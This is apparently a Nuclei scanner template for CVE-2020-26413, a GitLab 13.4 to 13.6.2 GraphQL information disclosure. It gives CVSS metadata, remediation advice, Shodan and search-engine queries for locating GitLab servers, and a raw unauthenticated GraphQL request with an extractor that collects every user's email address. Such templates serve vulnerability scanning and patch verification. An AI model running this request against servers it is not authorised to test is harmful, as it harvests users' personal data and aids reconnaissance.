Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure

id: CVE-2020-26413

info:
  name: Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure
  author: _0xf4n9x_,pikpikcu
  severity: medium
  description: GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can gain unauthorized access to sensitive information.
  remediation: |
    Upgrade Gitlab CE/EE to version 13.6.3 or later.
  reference:
    - https://gitlab.com/gitlab-org/gitlab/-/issues/244275
    - https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26413
    - https://hackerone.com/reports/972355
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-26413
    cwe-id: CWE-200
    epss-score: 0.78637
    epss-percentile: 0.9826
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
  metadata:
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query:
      - http.title:"GitLab"
      - cpe:"cpe:2.3:a:gitlab:gitlab"
      - http.title:"gitlab"
    fofa-query: title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve,cve2020,hackerone,gitlab,exposure,enum,graphql

http:
  - raw:
      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "query": "{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }",
          "variables": null,
          "operationName": null
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"avatarUrl":'
          - '"node":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        json:
          - '.data.users.edges[].node.email'
        part: body
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